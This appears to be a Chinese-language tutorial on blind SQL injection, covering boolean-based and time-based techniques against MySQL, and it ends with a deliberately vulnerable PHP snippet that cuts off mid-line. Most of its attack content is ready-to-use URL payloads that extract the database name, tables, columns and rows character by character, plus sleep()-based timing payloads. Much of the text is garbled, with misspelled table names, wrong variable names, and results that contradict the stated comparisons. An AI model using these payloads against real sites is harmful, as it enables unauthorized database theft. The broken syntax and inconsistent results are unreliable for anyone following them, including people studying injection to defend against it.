布尔盲注:
布尔很明显Ture跟Fales,也就是说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错信息。
时间盲注:
界面返回值只有一种,true无论输入任何值 返回情况都会按正常的来处理。加入特定的时间函数,通过查看WEB页面返回的时间差来判断注入语句是否正确
盲注涉及的函数:
当返回结果分别是yes和on,更改ID的值,发现任然是yes和on,由此可以判断,页面只返回yes和on,而没有返回数据库中的数据,所以此处不可以使用union注入。可尝试利用Boolean注入,Boolean注入是指构造sql判断语句,通过查看页面的返回结果来探测那些sql判断条件时成立的,以此获取数据库中的数据。
1.判断注入点、注入类型
? id=1' and 1=1 --+ 返回正常 ?id=1' and 1=2 --+返回错误 没有显示执行结果,初步判断为盲注
2.查数据库长度
?id =1' and (length(database())) >7 --+ 判断数据的长度大于7页面正常
?id=1' and(length(database())) > 8 --+ 页面错误//数据库长度为7
整个语句的意思就是,数据库名长度大于等于7,结果为yes;大于等于8结果为on,以由此判断出数据库名的长度为7。
3.查数据库库名
?id=1' and(ascii(substr(database(),1,1)))=115--+ 第一个字符为"s" //115具体看下图ASCII表 先用大于小于判断然后用等于判断看页面是否返回正常
?id=1' and(ascii(substr(database(),2,1)))>115--+ 继续猜测第二个字符
substr的用法根limit的有区别,需要注意。limit是从0开始排序,而这里是从1开始排序。可以使用Burp的爆破功能爆破其中“t”值。
4.查表名
?id=1' and (ascii(substr((select table_name from information_schema.schema.table where table-schema=database() limit 0,1),1,1)))>100 --+ 第一个表,首字母为'e'
?id=1' and (ascii(substr((select table_name from information_schema.schema.table where table-schema=database() limit 0,1),2,1)))>109 --+ 第一个表,首字母为‘m’
?id=1' and (ascii(substr((select table_name from information_schema.schema.table where table-schema=database() limit 1,1),1,1)))>114 --+ 第二个表首字母为‘r’
5.查字段
?id=1' and(ascii(substr((select column_name from information_schema.colums where table_name='猜解出的表名' limit 0,1)1,1)))=102 ---+ 猜解出的第一个表名列名首字母为‘r’
之后类推
6.查内容
?id=1' and (ascii(substr(( select 猜解出的字段名 from 猜解出的表名 limit 0,1),1,1)))=112--+ 猜解出的字段名首字母为'z'
时间注入是利用sleep()或benchmark()等函数让mysql的执行时间边长,此时if语句的含义是:如果exper1的TRUUE,则if()的返回值为expr2;否则返回则为expe3.所以数据库库名长度的语句应为:
if (length(database()) > 1,sleep(5),1)
if(substr(database(),1,1)='s',sleep(5),1)
if (ascii(substr(adtabase(),1,1))>115,0,sleep(5))%23
代码分析:
?php
$con=mysqli_connect("localhost","root","123455","test");
if(mysqli_connect_errno())
{
echo"连接失败:".mysql_connect_error();
}
$id=$_GTE['ID'];
if(preg_match("/union/i",$id)){
exit("no ");
}
$result=mysqli_query($con,"select * from users where 'id'='".$id." '");
$row = mysqli_fetch_array($result);
if ($fow){
exit("yes